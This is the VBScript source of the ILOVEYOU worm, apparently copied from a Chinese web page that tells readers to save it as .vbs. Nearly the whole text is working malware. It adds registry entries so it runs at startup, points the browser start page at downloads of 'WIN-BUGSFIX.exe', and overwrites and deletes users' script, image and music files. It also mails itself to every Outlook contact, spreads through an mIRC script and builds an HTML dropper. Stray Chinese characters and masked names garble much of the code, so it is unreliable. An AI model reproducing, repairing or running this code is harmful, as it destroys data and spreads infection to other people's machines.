OnErrorResumeNext
dimfso,dirsystem,dirwin,显dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Setfso=CreateObject("***.filesyste来自mobject")
setfile=***.opentextfile(***.scriptfullname,1)
vbscopy=***.readall
main()
submain()
OnErrorResumeNext
dimwscr,rr
setwscr=CreateObject("***.shell")
rr=***.regread("HKEY_CURRENT_USER\Software\Microsoft\WindowsScripting
Host\Settings\Timeout")
if(rr>=1)then
***.regw缺优某艺金促他rite"HKEY_CURRENT_USER\Software\Microsoft\WindowsSc究般ripting
Hos360问答t\Settings\Timeout",0,"REG_DWORD"
endif
Setdirwin=***.getspecia防著垂们运言杂水lfolder(0)
Se管往算样你三伤纸tdirsystem够审轮鱼校资皇慢括纸清=***.getspecial也静武面农晚哪较世拉案folder(1)
Setdirtemp=***.getspecialfolder(2)
Setc=***.getfile(**读致协商立*.scriptfullname)
***.***opy(dirsystem&"\***.vbs")
***.***opy(dirwin&"\***.vbs")
***.***opy(dirsystem&"\love-letter-for-yo义输督末u.***.vbs")
regruns()
html()
sp齐职乱高房令未readtoemail()
listadriv()
endsub
subregruns()
OnErrorResumeNext
Dimnum,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirs
ystem&"\***.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\W识龙战树侵着讨县得并今indows\CurrentVersion\RunServices\Win32DLL
",dirwin&"明卖做\***.vbs"
downread=""
down黑唱华钟read=regget("HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Dow汉nload
Directory")
if(downread="")then
downread="c:\"
endif
if(fil组沿反eexist(dirsystem&"配乱\W概介备周立时口inFAT32.exe")=1)then
Randomize
num=Int((4*Rnd)+田1)
ifnum=1then
regcreate"HKCU\Software\Microsoft\Internet
Explorer\Main\StartPage","http://www.***.net/~young1s/HJKhjnwerhjkxcvytwertnMT
FwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseifnum=2then
regcreate"HKCU\Software\激衡Microsoft\Internet
Explorer\Main\StartPage","http://www.***.net/~angelcat/skladjflfdjghKJnwetryDG
FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseifnum=3then
regcreate"HKCU\Software\Microsoft\Internet
Explorer\Main\StartPage","http://www.***.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h
fFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseifnum=4then
regcreate"HKCU\Software\Microsoft\Internet
Explorer\Main\StartPage","http://www.***.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt
uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-
BUGSFIX.exe"
endif
endif
if(fileexist(downread&"\WIN-BUGSFIX.exe")=0)then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",dow
nread&"\WIN-BUGSFIX.exe"
regcreate
"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\StartPage","about:blan
k"
endif
endsub
sublistadriv
OnErrorResumeNext
Dimd,dc,s
Setdc=***.drives
ForEachdindc
If***.***rivetype=2or***.***rivetype=3Then
folderlist(***.path&"\")
endif
Next
listadriv=s
endsub
subinfectfiles(folderspec)
OnErrorResumeNext
dimf,f1,fc,ext,ap,mircfname,s,bname,mp3
setf=***.getfolder(folderspec)
setfc=***.***iles
foreachf1infc
ext=***.getextensionname(***.path)
ext=lcase(ext)
s=lcase(***.name)
if(ext="vbs")or(ext="vbe")then
setap=***.opentextfile(***.path,2,true)
***.writevbscopy
***.close
elseif(ext="js")or(ext="jse")or(ext="css")or(ext="wsh")or(ext="sct")or
(ext="hta")then
setap=***.opentextfile(***.path,2,true)
***.writevbscopy
***.close
bname=***.getbasename(***.path)
setcop=***.getfile(***.path)
***.***y(folderspec&"\"&bname&".vbs")
***.deletefile(***.path)
elseif(ext="jpg")or(ext="jpeg")then
setap=***.opentextfile(***.path,2,true)
***.writevbscopy
***.close
setcop=***.getfile(***.path)
***.***y(***.path&".vbs")
***.deletefile(***.path)
elseif(ext="mp3")or(ext="mp2")then
setmp3=***.createtextfile(***.path&".vbs")
***.writevbscopy
***.close
setatt=***.getfile(***.path)
***.***ributes=***.***ributes+2
endif
if(eq<>folderspec)then
if(s="mirc32.exe")or(s="mlink32.exe")or(s="***.ini")or(s="***.ini")or
(s="***.hlp")then
setscriptini=***.createtextfile(folderspec&"\***.ini")
***.writeline"[script]"
***.writeline";mIRCScript"
***.writeline";Pleasedonteditthisscript...mIRCwillcorrupt,ifmIRC
will"
***.writeline"corrupt...WINDOWSwillaffectandwillnotruncorrectly.
thanks"
***.writeline";"
***.writeline";KhaledMardam-Bey"
***.writeline";http://www.***.com"
***.writeline";"
***.writeline"n0=on1:JOIN:#:{"
***.writeline"n1=/if($nick==$me){halt}"
***.writeline"n2=/.dccsend$nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
***.writeline"n3=}"
***.close
eq=folderspec
endif
endif
next
endsub
subfolderlist(folderspec)
OnErrorResumeNext
dimf,f1,sf
setf=***.getfolder(folderspec)
setsf=***.sub***olders
foreachf1insf
'infectfiles(***.path)
folderlist(***.path)
next
endsub
subregcreate(regkey,regvalue)
Setregedit=CreateObject("***.shell")
***.regwriteregkey,regvalue
endsub
functionregget(value)
Setregedit=CreateObject("***.shell")
regget=***.regread(value)
endfunction
functionfileexist(filespec)
OnErrorResumeNext
dimmsg
if(***.fileexists(filespec))Then
msg=0
else
msg=1
endif
fileexist=msg
endfunction
functionfolderexist(folderspec)
OnErrorResumeNext
dimmsg
if(***.getfolderexists(folderspec))then
msg=0
else
msg=1
endif
fileexist=msg
endfunction
subspreadtoemail()
OnErrorResumeNext
dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
setregedit=CreateObject("***.shell")
setout=***.createobject("***.application")
setmapi=***.getnamespace("MAPI")
forctrlists=1to***.addresslists.Count
seta=***.addresslists(ctrlists)
x=1
regv=***.regread("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if(regv="")then
regv=1
endif
if(int(***.***ddressentries.Count)>int(regv))then
forctrentries=1to***.***ddressentries.Count
malead=***.***ddressentries(x)
regad=""
regad=***.regread("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if(regad="")then
setmale=***.createitem(0)
male.***.add(malead)
***.subject="ILOVEYOU"
***.body=vbcrlf&"kindlychecktheattachedLOVELETTERcomingfromme."
male.***.add(dirsystem&"\love-letter-for-you.***.vbs")
***.send
***.regwrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
endif
x=x+1
next
***.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,***.***ddressentries.Count
else
***.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,***.***ddressentries.Count
endif
next
Setout=Nothing
Setmapi=Nothing
endsub
subhtml
OnErrorResumeNext
dimlines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER-
HTML<?-?TITLE><METANAME=@-@Generator@-@CONTENT=@-@BAROKVBS-
LOVELETTER@-@>"&vbcrlf&_
"<METANAME=@-@Author@-@CONTENT=@-@spyder?-?ispyder@***.com?-?@GRAMMERSoft
Group?-?Manila,Philippines?-?March2000@-@>"&vbcrlf&_
"<METANAME=@-@Description@-@CONTENT=@-@simplebutithinkthisis
good...@-@>"&vbcrlf&_
"<?-?HEAD><BODY
ONMOUSEOUT=@-@***.name=#-#main#-#;***.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#
main#-#)@-@"&vbcrlf&_
"ONKEYDOWN=@-@***.name=#-#main#-#;***.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#
main#-#)@-@BGPROPERTIES=@-@fixed@-@BGCOLOR=@-@#FF9933@-@>"&vbcrlf&_
"<CENTER><p>ThisHTMLfileneedActiveXControl<?-?p><p>To
EnabletoreadthisHTMLfile<BR>-Pleasepress#-#YES#-#buttontoEnable
ActiveX<?-?p>"&vbcrlf&_
"<?-?CENTER><MARQUEELOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE&g
t;"&vbcrlf&_
"<?-?BODY><?-?HTML>"&vbcrlf&_
"<SCRIPTlanguage=@-@JScript@-@>"&vbcrlf&_
"<!--?-??-?"&vbcrlf&_
"if(***.screen){varwi=***.availwidth;var
hi=***.availheight;***.moveto(0,0);***.resizeto(wi,hi);}"&vbcrlf&_
"?-??-?-->"&vbcrlf&_
"<?-?SCRIPT>"&vbcrlf&_
"<SCRIPTLANGUAGE=@-@VBScript@-@>"&vbcrlf&_
"<!--"&vbcrlf&_
"onerrorresumenext"&vbcrlf&_
"dimfso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf&_
"aw=1"&vbcrlf&_
"code="
dta2="setfso=CreateObject(@-@***.filesystemobject@-@)"&vbcrlf&_
"setdirsystem=***.getspecialfolder(1)"&vbcrlf&_
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf&_
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf&_
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf&_
"setwri=***.createtextfile(dirsystem&@-@^-^***.vbs@-@)"&vbcrlf&_
"***.***tecode4"&vbcrlf&_
"***.close"&vbcrlf&_
"if(***.fileexists(dirsystem&@-@^-^***.vbs@-@))then"&vbcrlf&_
"if(***.number=424)then"&vbcrlf&_
"aw=0"&vbcrlf&_
"endif"&vbcrlf&_
"if(aw=1)then"&vbcrlf&_
"***.write@-@ERROR:can#-#tinitializeActiveX@-@"&vbcrlf&_
"***.close"&vbcrlf&_
"endif"&vbcrlf&_
"endif"&vbcrlf&_
"Setregedit=CreateObject(@-@***.shell@-@)"&vbcrlf&_
"***.regwrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MS
Kernel32@-@,dirsystem&@-@^-^***.vbs@-@"&vbcrlf&_
"?-??-?-->"&vbcrlf&_
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
setfso=CreateObject("***.filesystemobject")
setc=***.opentextfile(***.scriptfullname,1)
lines=Split(***.readall,vbcrlf)
l1=ubound(lines)
forn=0toubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if(l1=n)then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf&_"
endif
next
setb=***.createtextfile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
***.close
setd=***.opentextfile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
***.writedt5
***.writejoin(lines,vbcrlf)
***.writevbcrlf
***.writedt6
***.close
endsub
'保存为.vbs
标签：vbs,代码
